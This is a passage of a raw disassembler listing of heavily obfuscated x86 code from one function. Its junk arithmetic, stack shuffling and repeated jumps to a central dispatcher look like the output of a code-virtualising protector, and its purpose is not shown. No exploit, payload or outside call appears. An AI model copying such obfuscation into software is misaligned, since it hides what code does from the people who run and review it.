edx jmp loc_59A663 ; --------------------------------------------------------------------------- loc_59325E: ; CODE XREF: sub_580566+1C651j push edx mov dl, 0E7h dec dl jmp loc_59AAAA ; --------------------------------------------------------------------------- loc_593268: ; CODE XREF: sub_580566+1E871j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59326D: ; CODE XREF: sub_580566+1CB9Dj sub bl, cl jmp loc_592DEF ; --------------------------------------------------------------------------- loc_593274: ; CODE XREF: sub_580566+1FDC6j add eax, 1A4A1204h jmp loc_5913C3 ; --------------------------------------------------------------------------- loc_59327E: ; CODE XREF: sub_580566+24F4Dj neg esi add esi, 63F5CAEh jmp loc_59B5CB ; --------------------------------------------------------------------------- loc_59328B: ; CODE XREF: sub_580566+21E77j mov eax, [esp-46h+arg_3C+2] add esp, 4 sub edx, 9E433437h add eax, edx push [esp-4Ah+arg_40+2] jmp loc_5988B1 ; --------------------------------------------------------------------------- loc_5932A1: ; CODE XREF: sub_580566+245EEj push ebx jmp loc_59833E ; --------------------------------------------------------------------------- loc_5932A7: ; CODE XREF: sub_580566+17205j mov [esp-42h+arg_38+2], esi mov esi, 4BEF7BF9h jmp loc_5926D0 ; --------------------------------------------------------------------------- loc_5932B4: ; CODE XREF: sub_580566+19F25j inc esi jmp loc_5A16B1 ; --------------------------------------------------------------------------- loc_5932BA: ; CODE XREF: sub_580566+1411Aj push esi push [esp-3Eh+arg_38+2] pop esi pop [esp-3Eh+arg_34+2] pop esp mov [esp-46h+arg_3C+2], esi jmp loc_5A1638 ; --------------------------------------------------------------------------- loc_5932CC: ; CODE XREF: sub_580566+22A38j pop ebp jmp loc_5A0FB2 ; --------------------------------------------------------------------------- loc_5932D2: ; CODE XREF: sub_580566+13068j add ebx, 5157470Ch mov edx, [esp-4Ah+arg_40+2] add esp, 4 jmp loc_598B6F ; --------------------------------------------------------------------------- loc_5932E3: ; CODE XREF: sub_580566+1DB6Cj add ebx, 4 add ebx, 4 xchg ebx, [esp-4Eh+arg_44+2] mov esp, [esp-4Eh+arg_44+2] jmp loc_5A19A0 ; --------------------------------------------------------------------------- loc_5932F7: ; CODE XREF: sub_580566+15A79j push ebx push esi jmp loc_5996F4 ; --------------------------------------------------------------------------- loc_5932FE: ; CODE XREF: sub_580566+1131Aj push 73F4h jmp loc_591244 ; --------------------------------------------------------------------------- loc_593308: ; CODE XREF: sub_580566+196A1j mov ecx, 4 add ebx, 30CC2EFDh add ebx, ecx sub ebx, 30CC2EFDh jmp loc_59E906 ; --------------------------------------------------------------------------- loc_593320: ; CODE XREF: sub_580566+14738j inc eax shr eax, 5 sub eax, 8F880A38h push 414Ch mov [esp-38h+arg_30], eax push edi mov edi, 4AFB21A0h mov eax, edi jmp loc_59CEC8 ; --------------------------------------------------------------------------- loc_59333E: ; CODE XREF: sub_580566+1282Cj push ebx push ecx push ebx mov ebx, 190E69FCh jmp loc_59BC3E ; --------------------------------------------------------------------------- loc_59334B: ; CODE XREF: sub_580566+1ADC5j add [esp-30h+arg_30], ecx pop ecx jmp loc_5A46E1 ; --------------------------------------------------------------------------- loc_593355: ; CODE XREF: sub_580566+1AA78j mov [esp-34h+arg_2C], ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_599026 ; --------------------------------------------------------------------------- loc_593368: ; CODE XREF: sub_580566+1FD15j sub ebp, esi pop esi shl ebp, 2 push esi mov esi, 5E454591h jmp loc_595C82 ; --------------------------------------------------------------------------- loc_593379: ; CODE XREF: sub_580566+10A9Ej pop esi add esi, 4 push edi push esp pop edi push ebp mov ebp, 4 jmp loc_5A555F ; --------------------------------------------------------------------------- loc_59338E: ; DATA XREF: sub_580566+104CEo mov ecx, [esp-3Eh+arg_34+2] push 237Bh mov [esp-3Ah+arg_30+2], edx push esp mov edx, [esp-36h+arg_2C+2] add esp, 4 sub esp, 4 mov [esp-36h+arg_2C+2], ebp mov ebp, 4 push ebx mov ebx, 53616604h sub edx, ebx jmp loc_5A0FBA ; --------------------------------------------------------------------------- loc_5933BB: ; CODE XREF: sub_580566+178B2j push ebx jmp loc_592726 ; --------------------------------------------------------------------------- loc_5933C1: ; CODE XREF: sub_580566+24611j pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5A0E22 ; --------------------------------------------------------------------------- loc_5933D3: ; CODE XREF: sub_580566+1B489j sub esi, 17FD48EEh pop edi pop ecx jmp loc_5A2B8E ; --------------------------------------------------------------------------- loc_5933E0: ; CODE XREF: sub_580566+16A9Fj add al, 0C6h pop ebx push 44C3h mov [esp-36h+arg_2C+2], ecx sub esp, 4 mov [esp-32h+arg_28+2], eax mov al, 0F5h dec al xor al, 0AEh add al, 5Ah jmp loc_59A9DF ; --------------------------------------------------------------------------- loc_593401: ; CODE XREF: sub_580566+164E4j sub ch, dh pop dx mov ah, ch mov ecx, [esp-34h+arg_2C] add esp, 4 mov dh, ah pop eax xor al, dh mov dx, word ptr [esp-3Ch+arg_34] jmp loc_591FE7 ; --------------------------------------------------------------------------- loc_59341E: ; CODE XREF: sub_580566+24D5Aj mov al, 0F7h not al inc al jmp loc_5A5157 ; --------------------------------------------------------------------------- loc_593429: ; CODE XREF: sub_580566+20BE4j push esi jmp loc_5919C9 ; --------------------------------------------------------------------------- loc_59342F: ; CODE XREF: sub_580566+110A1j add ecx, edx jmp loc_59CDF4 ; --------------------------------------------------------------------------- loc_593436: ; CODE XREF: sub_580566+13A8Dj add ebp, 23BD8222h sub ecx, 75E11DE6h jmp loc_59A739 ; --------------------------------------------------------------------------- loc_593447: ; CODE XREF: sub_580566+2441Ej add ebx, ecx pop ecx mov edx, [esp-30h+arg_28] push ebx push esp pop ebx push edx mov edx, 6E354959h xor edx, 48B016EEh or edx, 235E74F1h jmp loc_595044 ; --------------------------------------------------------------------------- loc_593467: ; CODE XREF: sub_580566+237F0j add al, cl sub al, 5Ch pop ecx mov dl, al mov eax, [esp-2Ch+arg_24] push 6CAh mov [esp-28h+arg_20], ebx mov ebx, esp push 679Dh mov [esp-24h+arg_1A+2], edi mov edi, 5DAC159Ch add edi, 318E7C5Ch shr edi, 1 or edi, 548F46F0h add edi, 2ABF2AA3h xor edi, 825E799Bh add ebx, edi mov edi, [esp-24h+arg_1A+2] add esp, 4 add ebx, 4 jmp loc_5A44BC ; --------------------------------------------------------------------------- loc_5934B2: ; CODE XREF: sub_580566+23FA5j push [esp-28h+arg_20] push [esp-24h+arg_1A+2] pop edx jmp loc_5A1D62 ; --------------------------------------------------------------------------- loc_5934BE: ; CODE XREF: sub_580566+16C22j xchg edi, ebp shl ebp, 5 jmp loc_5992B6 ; --------------------------------------------------------------------------- loc_5934C8: ; CODE XREF: sub_580566+11611j sub esi, 4E907A38h add esi, 3F9568C9h jmp loc_5A4867 ; --------------------------------------------------------------------------- loc_5934D9: ; CODE XREF: sub_580566+1B990j mov ebp, 43275FDEh jmp loc_59B974 ; --------------------------------------------------------------------------- loc_5934E3: ; CODE XREF: sub_580566+221B2j add ebp, edx mov edx, [esp-44h+arg_3C] add esp, 4 xchg ebp, [esp-48h+arg_40] mov esp, [esp-48h+arg_40] movzx ecx, al push 6922h mov [esp-44h+arg_3C], eax mov eax, esp push ebx mov ebx, 179C526Eh xor ebx, 506B6C57h shr ebx, 4 add ebx, 0FB808C21h add eax, ebx pop ebx jmp loc_59DBD0 ; --------------------------------------------------------------------------- loc_59351B: ; CODE XREF: sub_580566+14712j push ebp jmp loc_5A3D40 ; --------------------------------------------------------------------------- loc_593521: ; CODE XREF: sub_580566+16EB2j push ebx mov bh, 15h or bh, 0C1h xor bh, 11h and bh, 0F4h xor bh, 0BAh jmp loc_5959EE ; --------------------------------------------------------------------------- neg word ptr [esp-3Ch+arg_34] pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59353F: ; CODE XREF: sub_580566+230D1j sub cl, 58h sub cl, bl add cl, 58h jmp loc_59746F ; --------------------------------------------------------------------------- loc_59354C: ; CODE XREF: sub_580566+1D327j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_593551: ; CODE XREF: sub_580566+165FCj push [esp-38h+arg_34] mov ebp, [esp-34h+arg_2C] add esp, 4 pop [esp-38h+arg_30] mov esp, [esp-3Ch+arg_34] jmp loc_5983BE ; --------------------------------------------------------------------------- loc_593569: ; CODE XREF: sub_580566+15E16j xor edi, [esp-3Ch+arg_34] xor [esp-3Ch+arg_34], edi xor edi, [esp-3Ch+arg_34] pop esp mov [esp-40h+arg_38], ecx push ebx jmp loc_59D022 ; --------------------------------------------------------------------------- loc_59357C: ; CODE XREF: sub_580566+21B8Cj sub esi, 61A257A3h jmp loc_599D56 ; --------------------------------------------------------------------------- loc_593587: ; CODE XREF: sub_580566+220D5j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-38h+arg_30] pop esp mov [esp-3Ch+arg_34], edi mov edi, esp jmp loc_5A27DD ; --------------------------------------------------------------------------- loc_5935A4: ; CODE XREF: sub_580566+15D2Cj add esp, 4 xor dl, 0D5h add al, dl pop edx push edx jmp loc_59131B ; --------------------------------------------------------------------------- loc_5935B6: ; CODE XREF: sub_580566+12783j mov [esp-50h+arg_48], edx mov edx, 17CD50BBh inc edx dec edx add edx, 0E832AF49h sub ebx, 5157470Ch add ebx, edx jmp loc_5932D2 ; --------------------------------------------------------------------------- loc_5935D3: ; CODE XREF: sub_580566+219ECj pop ecx add esp, 4 sub esi, 56DD3862h add esi, edx add esi, 56DD3862h add esi, 691C1731h mov edx, [esp-58h+arg_4E+2] add esp, 4 add eax, esi pop esi add eax, 2 xor eax, [esp-60h+arg_56+2] xor [esp-60h+arg_56+2], eax xor eax, [esp-60h+arg_56+2] jmp loc_5A4CD5 ; --------------------------------------------------------------------------- loc_59360A: ; CODE XREF: sub_580566+1AB70j xor [esp-60h+arg_56+2], esi xor esi, [esp-60h+arg_56+2] mov esp, [esp-60h+arg_56+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-5Ch+arg_52+2] pop esp push 7EBDh jmp loc_5A122E ; --------------------------------------------------------------------------- loc_593630: ; CODE XREF: sub_580566+240DDj and ah, 0B1h jmp loc_59C9A1 ; --------------------------------------------------------------------------- loc_593638: ; CODE XREF: sub_580566+11FE1j mov [esp-2Ch+arg_24], ebp push 7035h jmp loc_5A4056 ; --------------------------------------------------------------------------- loc_593645: ; CODE XREF: sub_580566+182A5j pop esi push edx mov edx, 2 sub ebp, 0BC706Ch jmp loc_594DBD ; --------------------------------------------------------------------------- loc_593657: ; CODE XREF: sub_580566+2013Bj dec ebx xchg ebx, edx jmp loc_59B5E1 ; --------------------------------------------------------------------------- loc_59365F: ; CODE XREF: sub_580566+1FDCFj mov edi, 15785AECh jmp loc_5A0F83 ; --------------------------------------------------------------------------- loc_593669: ; CODE XREF: sub_580566+2016Ej mov ebp, ebx push ebp pop ecx jmp loc_595E4F ; --------------------------------------------------------------------------- loc_593672: ; CODE XREF: sub_580566+1994Fj pop eax add ch, 3Ah jmp loc_596A46 ; --------------------------------------------------------------------------- loc_59367B: ; CODE XREF: sub_580566+12557j add bl, ch jmp loc_599ED1 ; --------------------------------------------------------------------------- loc_593682: ; CODE XREF: sub_580566+232E4j add ecx, 965CF58h xor ebp, ecx mov ecx, [esp-24h+arg_1A+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-20h+arg_16+2] pop esp sub eax, 24A23F09h add eax, ebp push ecx mov ecx, 56CB71D5h add ecx, 0FFFFFFFFh shr ecx, 1 inc ecx shr ecx, 2 jmp loc_5996DF ; --------------------------------------------------------------------------- loc_5936B8: ; CODE XREF: sub_580566+1DE55j add ebp, edx mov edx, [esp-20h+arg_16+2] jmp loc_594FBA ; --------------------------------------------------------------------------- loc_5936C2: ; CODE XREF: sub_580566+14635j mov esp, [esp-20h+arg_16+2] add [esp-20h+arg_16+2], eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5936CE: ; CODE XREF: sub_580566+24464j add eax, 4 jmp loc_59FBA8 ; --------------------------------------------------------------------------- loc_5936D8: ; CODE XREF: sub_580566+11D7Cj inc dl jmp loc_59AFB2 ; --------------------------------------------------------------------------- loc_5936DF: ; CODE XREF: sub_580566+144FFj pop esp jmp loc_59E6F7 ; --------------------------------------------------------------------------- loc_5936E5: ; CODE XREF: sub_580566+17FF8j add edx, ecx jmp loc_59E0C3 ; --------------------------------------------------------------------------- loc_5936EC: ; CODE XREF: sub_580566+15DE8j sub esp, 4 mov [esp-3Eh+arg_34+2], ebp push ebx mov ebx, 11E71C8Dh sub ebx, 27863617h sub ebx, 264977E9h neg ebx xor ebx, 533EE00Ch mov ebp, ebx pop ebx jmp loc_59FF9C ; --------------------------------------------------------------------------- loc_593717: ; CODE XREF: sub_580566+1ACDAj pop edx jmp loc_59DF10 ; --------------------------------------------------------------------------- loc_59371D: ; CODE XREF: sub_580566+1A0C9j and ecx, 68026BC3h shl ecx, 6 dec ecx add ecx, 7E32C1Eh xor ecx, 716B869Dh sub edi, ecx pop ecx add edi, 79A5028Fh push ebp mov ebp, 623B3435h add ebp, 2179425Ch add ebp, 9C459C85h sub edi, ebp jmp loc_5A1BC3 ; --------------------------------------------------------------------------- loc_593755: ; CODE XREF: sub_580566+187EFj push 4F27h mov [esp-3Eh+arg_34+2], esp push edi mov edi, 4 add [esp-3Ah+arg_34+2], edi pop edi pop ecx jmp loc_59C5E0 ; --------------------------------------------------------------------------- loc_59376E: ; CODE XREF: sub_580566+197AAj push [esp-42h+arg_3C+2] pop ebx pop [esp-42h+arg_38+2] pop esp push small 10D3h mov word ptr [esp-48h+arg_40], si jmp loc_59C48A ; --------------------------------------------------------------------------- loc_593784: ; CODE XREF: sub_580566+167ADj sub al, 53h pop edx pop ebx sub al, ch push edx mov dl, 13h sub esp, 2 mov word ptr [esp-48h+arg_40], ax mov al, 37h sub dl, al pop ax sub al, dl pop edx mov ecx, [esp-4Eh+arg_44+2] push 230Ch jmp loc_597174 ; --------------------------------------------------------------------------- loc_5937AA: ; CODE XREF: sub_580566+24DBCj add esp, 4 push 3AE2h mov [esp-4Ah+arg_40+2], edi jmp loc_59650B ; --------------------------------------------------------------------------- loc_5937BA: ; CODE XREF: sub_580566+23C17j xchg edx, [esp-4Ah+arg_40+2] mov esp, [esp-4Ah+arg_40+2] add ebp, 4 push eax mov eax, 4 add ebp, 633847FAh push esi mov esi, 0E520DFEh add ebp, 19596077h sub ebp, esi sub ebp, 19596077h pop esi sub ebp, eax push edi mov edi, 0E520DFEh jmp loc_598327 ; --------------------------------------------------------------------------- loc_5937F4: ; CODE XREF: sub_580566+1D5ABj mov ch, 6Ch or bh, ch jmp loc_5A11EB ; --------------------------------------------------------------------------- loc_5937FD: ; CODE XREF: sub_580566+1225Ej add al, bh pop ebx sub esp, 4 mov [esp-2Eh+arg_24+2], edx push esp jmp loc_59E577 ; --------------------------------------------------------------------------- loc_59380C: ; CODE XREF: sub_580566+1992Bj mov [esp-2Ah+arg_20+2], edx push eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_593816: ; CODE XREF: sub_580566+1EB6Ej xor eax, [esp-22h+arg_1A] xor [esp-22h+arg_1A], eax xor eax, [esp-22h+arg_1A] pop esp jmp loc_5929AB ; --------------------------------------------------------------------------- loc_593825: ; CODE XREF: sub_580566+1AB9Fj xchg ebp, [esp+0] pop esp and eax, edx jmp loc_5987EE ; --------------------------------------------------------------------------- loc_593830: ; CODE XREF: sub_580566+24E9Bj pop esi sub esp, 4 mov [esp-2Ah+arg_20+2], esi mov esi, 5B4D5DA3h push ecx mov ecx, 265930F3h xor esi, ecx mov ecx, [esp+0] add esp, 4 jmp loc_592B7B ; --------------------------------------------------------------------------- loc_593852: ; CODE XREF: sub_580566+1BE4Ej pop esp xor esi, eax jmp loc_59E953 ; --------------------------------------------------------------------------- loc_59385A: ; CODE XREF: sub_580566+16AF9j add esp, 4 push ebp jmp loc_59D4A6 ; --------------------------------------------------------------------------- loc_593863: ; CODE XREF: sub_580566+1559Dj and eax, edx pop edx jmp loc_596855 ; --------------------------------------------------------------------------- loc_59386B: ; CODE XREF: sub_580566+234CDj push ebp mov ebp, 2C241D44h shl ebp, 8 jmp loc_59CC18 ; --------------------------------------------------------------------------- loc_593879: ; CODE XREF: sub_580566+1EF33j push ebp mov ebp, 51785A00h push ebp push edx pop ebp jmp loc_593C90 ; --------------------------------------------------------------------------- loc_593887: ; CODE XREF: sub_580566+11841j mov [esp-4Ch+arg_44], ecx jmp loc_59EB00 ; --------------------------------------------------------------------------- loc_59388F: ; CODE XREF: sub_580566+123B6j xor ecx, 37FFC222h add edi, 12575BF9h sub edi, ecx sub edi, 12575BF9h pop ecx pop eax xchg edi, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] mov word ptr [esp-3Ch+arg_34], ax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5938B4: ; CODE XREF: sub_580566+10CFEj push ebx mov ebx, 2D2821BFh jmp loc_599FBD ; --------------------------------------------------------------------------- loc_5938BF: ; CODE XREF: sub_580566+1DD9Fj mov eax, 1 mov edi, eax pop eax jmp loc_5A17A3 ; --------------------------------------------------------------------------- loc_5938CC: ; CODE XREF: sub_580566+13BE9j mov ebp, 0E6A1D0Bh mov ebx, 3A6D76F0h jmp loc_591947 ; --------------------------------------------------------------------------- loc_5938DB: ; CODE XREF: sub_580566+15874j pop esi add esp, 4 push 6890h jmp loc_59F1CB ; --------------------------------------------------------------------------- loc_5938E9: ; CODE XREF: sub_580566+21A8Bj mov eax, 4 add ebx, eax jmp loc_59D856 ; --------------------------------------------------------------------------- loc_5938F5: ; CODE XREF: sub_580566+1A1FEj mov [esp-30h+arg_28], eax sub esp, 2 jmp loc_59C597 ; --------------------------------------------------------------------------- loc_593900: ; CODE XREF: sub_580566+21FB9j not ebp not ebp neg ebp jmp loc_59A17A ; --------------------------------------------------------------------------- loc_59390B: ; CODE XREF: sub_580566+204ACj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-28h+arg_20] pop esp add edi, 4 sub edi, 2 sub esp, 4 mov [esp-28h+arg_20], edi push [esp-28h+arg_24] pop edi pop [esp-28h+arg_20] pop esp mov word ptr [esp-30h+arg_28], dx push eax mov al, 0D6h push ecx jmp loc_594384 ; --------------------------------------------------------------------------- loc_593949: ; CODE XREF: sub_580566+162BBj mov esi, [esp-28h+arg_20] jmp loc_595715 ; --------------------------------------------------------------------------- loc_593951: ; CODE XREF: sub_580566+1FFF0j pop ebp jmp loc_5A59DF ; --------------------------------------------------------------------------- loc_593957: ; CODE XREF: sub_580566+19CF2j push edx push edi push 1C2846B3h pop edi shr edi, 4 shr edi, 3 jmp loc_5A30CF ; --------------------------------------------------------------------------- loc_59396A: ; CODE XREF: sub_580566+213ADj pop edx add [esp-28h+arg_24], ebx jmp loc_5985A8 ; --------------------------------------------------------------------------- loc_593974: ; CODE XREF: sub_580566+1501Dj mov ecx, 5A36049Fh not ecx not ecx dec ecx inc ecx or ecx, 63B37A93h jmp loc_5A2E48 ; --------------------------------------------------------------------------- loc_59398A: ; CODE XREF: sub_580566+16EBDj push edi jmp loc_598BAA ; --------------------------------------------------------------------------- loc_593990: ; CODE XREF: sub_580566+20960j inc ebx add ebx, 0DFE5F28Dh jmp loc_592FCF ; --------------------------------------------------------------------------- loc_59399C: ; CODE XREF: sub_580566+1CD11j add ebp, ecx jmp loc_5993B6 ; --------------------------------------------------------------------------- loc_5939A3: ; CODE XREF: sub_580566+19508j push [esp-24h+arg_1A+2] pop edi push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp-20h+arg_16+2] xor [esp-20h+arg_16+2], eax xor eax, [esp-20h+arg_16+2] mov esp, [esp-20h+arg_16+2] add edi, 4 push ebx mov ebx, esp jmp loc_59216B ; --------------------------------------------------------------------------- loc_5939CE: ; DATA XREF: sub_580566+10452o push [esp-1Ch+arg_12+2] jmp loc_5983E0 ; --------------------------------------------------------------------------- loc_5939D6: ; CODE XREF: sub_580566+110CAj pop edi xor esi, 78A91B9Ch push esi jmp loc_5A2CAB ; --------------------------------------------------------------------------- loc_5939E3: ; CODE XREF: sub_580566+1BA14j mov [esp-2Ch+arg_24], esi mov esi, 132E0B31h dec esi push 7414h mov [esp-28h+arg_20], eax jmp loc_595575 ; --------------------------------------------------------------------------- loc_5939F9: ; CODE XREF: sub_580566+2015Fj add edx, edi jmp loc_5943C5 ; --------------------------------------------------------------------------- loc_593A00: ; CODE XREF: sub_580566+13E25j xor dl, al pop eax sub al, 9Bh sub al, dl add al, 9Bh pop dx sub al, bl jmp loc_591FC5 ; --------------------------------------------------------------------------- loc_593A12: ; CODE XREF: sub_580566+121A3j push edx jmp loc_594F52 ; --------------------------------------------------------------------------- loc_593A18: ; CODE XREF: sub_580566+183ECj add ecx, edi pop edi xchg ecx, [esp-52h+arg_48+2] pop esp xchg ecx, [esp-56h+arg_4E] mov esp, [esp-56h+arg_4E] jmp loc_59F8C2 ; --------------------------------------------------------------------------- loc_593A2A: ; CODE XREF: sub_580566+1BD06j add ecx, edx pop edx push eax mov eax, 4 add ecx, eax jmp loc_5A4402 ; --------------------------------------------------------------------------- loc_593A3A: ; CODE XREF: sub_580566+212FEj mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_59B019 ; --------------------------------------------------------------------------- loc_593A4A: ; CODE XREF: sub_580566+1ADBAj dec ebx xor ebx, 47FE408Eh neg ebx xor ebx, 0B9B667ACh jmp loc_59630D ; --------------------------------------------------------------------------- lodsb push 3573h mov [esp-52h+arg_48+2], ecx jmp loc_593F8A ; --------------------------------------------------------------------------- loc_593A6C: ; CODE XREF: sub_580566+10E16j push ebp push esp jmp loc_597A2A ; --------------------------------------------------------------------------- loc_593A73: ; CODE XREF: sub_580566+122ECj and edi, 433C2B9Ch not edi jmp loc_5A10C2 ; --------------------------------------------------------------------------- loc_593A80: ; CODE XREF: sub_580566+1CC10j xor ebx, 2B617150h xor ebx, 0BCD15D1h push esi jmp loc_5A0C62 ; --------------------------------------------------------------------------- loc_593A92: ; CODE XREF: sub_580566+1C40Ej and eax, 6035660Ah shl eax, 5 neg eax add eax, 3CB22734h add esi, eax pop eax jmp loc_59A213 ; --------------------------------------------------------------------------- loc_593AA9: ; CODE XREF: sub_580566+24AB4j pop edx sub bl, 0EAh add bl, cl jmp loc_599D42 ; --------------------------------------------------------------------------- push [esp-2Ch+arg_24] pop eax sub esp, 4 mov [esp-28h+arg_20], eax push 3297h jmp loc_5A0435 ; --------------------------------------------------------------------------- push [esp-24h+arg_1A+2] jmp loc_5A4A4E ; --------------------------------------------------------------------------- loc_593AD0: ; CODE XREF: sub_580566+1B663j mov edx, 18C33B25h add edx, eax pop eax jmp loc_5918B0 ; --------------------------------------------------------------------------- loc_593ADD: ; CODE XREF: sub_580566+204CBj mov ebp, [esp-24h+arg_1A+2] add esp, 4 push 2462h mov [esp-24h+arg_1A+2], esi push ebp push edi mov edi, 294607D3h mov ebp, edi pop edi jmp loc_5A5AD5 ; --------------------------------------------------------------------------- loc_593AFD: ; CODE XREF: sub_580566+13D19j mov edi, 0B337C08h add edi, 0F4CC83FCh jmp loc_59DD1C ; --------------------------------------------------------------------------- loc_593B0D: ; CODE XREF: sub_580566+175FFj pop edx and ebx, esi pop esi not ebx push 2043h mov [esp-24h+arg_1A+2], ecx mov ecx, 20733308h and ebx, ecx pop ecx sub ebx, 207132FEh mov edi, ebx pop ebx jmp loc_599941 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-2Ch+arg_24] jmp loc_594149 ; --------------------------------------------------------------------------- loc_593B3A: ; CODE XREF: sub_580566+1E3A2j mov edx, 2 push ecx mov ecx, 7BD56988h jmp loc_595B81 ; --------------------------------------------------------------------------- loc_593B4A: ; CODE XREF: sub_580566+11136j mov edx, 4DA54141h shl edx, 6 dec edx neg edx and edx, 3A812F41h sub edx, 12812F3Dh add edi, edx pop edx sub edi, 4 xchg edi, [esp-40h+arg_38] pop esp jmp loc_590ED0 ; --------------------------------------------------------------------------- loc_593B70: ; CODE XREF: sub_580566+1817Dj add edx, 4 push edx push [esp-40h+arg_3C] pop edx pop [esp-40h+arg_38] pop esp push esi mov esi, esp sub esp, 4 jmp loc_59DAB4 ; --------------------------------------------------------------------------- loc_593B88: ; CODE XREF: sub_580566+17A02j mov edx, 5D02438Ch not edx and edx, 4C08020Ch jmp loc_599508 ; --------------------------------------------------------------------------- loc_593B9A: ; CODE XREF: sub_580566+2323Aj xor [esp-40h+arg_38], ecx xor ecx, [esp-40h+arg_38] pop esp mov [esp-44h+arg_3C], edi jmp loc_59CFD4 ; --------------------------------------------------------------------------- loc_593BA9: ; CODE XREF: sub_580566+194A2j add ebx, 5A712E29h jmp loc_5A1BE0 ; --------------------------------------------------------------------------- loc_593BB4: ; CODE XREF: sub_580566+20689j add esp, 4 pop [esp-48h+arg_40] mov esp, [esp-4Ch+arg_44] sar word ptr [esp-4Ch+arg_44], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_593BC7: ; CODE XREF: sub_580566+2137Aj mov edi, [esp-48h+arg_40] add esp, 4 jmp loc_5922A2 ; --------------------------------------------------------------------------- loc_593BD5: ; CODE XREF: sub_580566+22761j add eax, 4 add eax, 4 jmp loc_595FB3 ; --------------------------------------------------------------------------- loc_593BE4: ; CODE XREF: sub_580566+10E9Fj mov edx, [esp-2Eh+arg_24+2] add esp, 4 jmp loc_594A8D ; --------------------------------------------------------------------------- loc_593BEF: ; CODE XREF: sub_580566+1E564j add ebx, 28810E27h pop esi jmp loc_596826 ; --------------------------------------------------------------------------- loc_593BFB: ; CODE XREF: sub_580566+24314j add esp, 4 jmp loc_59856C ; --------------------------------------------------------------------------- lodsb push edx mov dl, 0E0h add dl, 0DCh dec dl not dl jmp loc_595505 ; --------------------------------------------------------------------------- loc_593C16: ; CODE XREF: sub_580566+1F908j add eax, 4 xor eax, [esp-36h+arg_2C+2] xor [esp-36h+arg_2C+2], eax xor eax, [esp-36h+arg_2C+2] jmp loc_598D09 ; --------------------------------------------------------------------------- loc_593C29: ; CODE XREF: sub_580566+191EFj add ebx, 1AA66ED9h add esi, ebx pop ebx push [esp-3Ah+arg_30+2] push [esp-36h+arg_2C+2] mov eax, [esp-32h+arg_28+2] add esp, 4 add esp, 4 add esp, 4 sub esi, 4 jmp loc_5A0EF2 ; --------------------------------------------------------------------------- loc_593C52: ; DATA XREF: sub_580566+10456o neg [esp-3Eh+arg_34+2] pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_593C5B: ; CODE XREF: sub_580566+1D817j add eax, 4 add eax, 4 jmp loc_595C89 ; --------------------------------------------------------------------------- loc_593C6A: ; CODE XREF: sub_580566+17BB1j add dh, ch add dh, 8Fh push cx push eax mov al, 7Dh jmp loc_5A5128 ; --------------------------------------------------------------------------- loc_593C79: ; CODE XREF: sub_580566+21501j pop esp sub dl, ah jmp loc_59F44A ; --------------------------------------------------------------------------- loc_593C81: ; CODE XREF: sub_580566+1EE80j pop edx push 0 sub [esp-38h+arg_30], esi pop esi jmp loc_5931B9 ; --------------------------------------------------------------------------- loc_593C90: ; CODE XREF: sub_580566+1331Cj pop edx not edx jmp loc_5A2C6E ; --------------------------------------------------------------------------- loc_593C98: ; CODE XREF: sub_580566+1E322j pop edx add esi, ebx pop ebx push 4FF6h mov [esp-2Eh+arg_24+2], ebp mov ebp, 4 add esi, 22F14F31h add esi, ebp push ebx mov ebx, 0A193E5Ch and ebx, 612405F5h jmp loc_59C328 ; --------------------------------------------------------------------------- loc_593CC2: ; CODE XREF: sub_580566+19E8Aj push esp pop ecx push 4811h jmp loc_590F49 ; --------------------------------------------------------------------------- loc_593CCE: ; CODE XREF: sub_580566+15987j add ecx, ebx sub ecx, 7B0B5B7Ch pop ebx and eax, ecx jmp loc_59302D ; --------------------------------------------------------------------------- loc_593CDE: ; CODE XREF: sub_580566+114A8j xor [esp-32h+arg_2C+2], ebp pop ebp pop eax push ecx mov ecx, 31D03121h xor eax, ecx jmp loc_5A18FE ; --------------------------------------------------------------------------- loc_593CF1: ; CODE XREF: sub_580566+1E6C3j xchg ebp, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] push edx mov edx, 4D8F340Ah xor edx, 4D8F340Eh add ebx, edx pop edx add ebx, 4 xor ebx, [esp-36h+arg_2C+2] xor [esp-36h+arg_2C+2], ebx xor ebx, [esp-36h+arg_2C+2] jmp loc_5A2F24 ; --------------------------------------------------------------------------- loc_593D1A: ; CODE XREF: sub_580566+17E9Dj mov eax, 4 add esi, 61685479h add esi, eax sub esi, 61685479h jmp loc_5956E9 ; --------------------------------------------------------------------------- loc_593D32: ; CODE XREF: sub_580566+18C06j push edi push 13686612h pop edi or edi, 70DB7A00h neg edi jmp loc_595297 ; --------------------------------------------------------------------------- loc_593D46: ; CODE XREF: sub_580566+15D80j mov ebx, [esp-32h+arg_28+2] add esp, 4 sub ecx, 4 jmp loc_596455 ; --------------------------------------------------------------------------- loc_593D57: ; CODE XREF: sub_580566+1D6D3j pop ecx add ecx, edx pop edx push edx push 4 pop edx add ecx, edx pop edx xchg ecx, [esp-3Eh+arg_34+2] jmp loc_5993ED ; --------------------------------------------------------------------------- loc_593D6D: ; CODE XREF: sub_580566+18D45j shr ebx, 1 or ebx, 57756C62h jmp loc_59E987 ; --------------------------------------------------------------------------- loc_593D7A: ; CODE XREF: sub_580566+25400j shl ch, 6 sub ch, 0FFh sub esp, 4 mov [esp-3Ah+arg_30+2], eax mov al, 0E5h xor ch, al pop eax add ch, 3Dh sub esp, 4 mov [esp-3Ah+arg_30+2], ebx mov bl, 0DCh jmp loc_596D04 ; --------------------------------------------------------------------------- loc_593D9E: ; CODE XREF: sub_580566+1E914j xor esi, 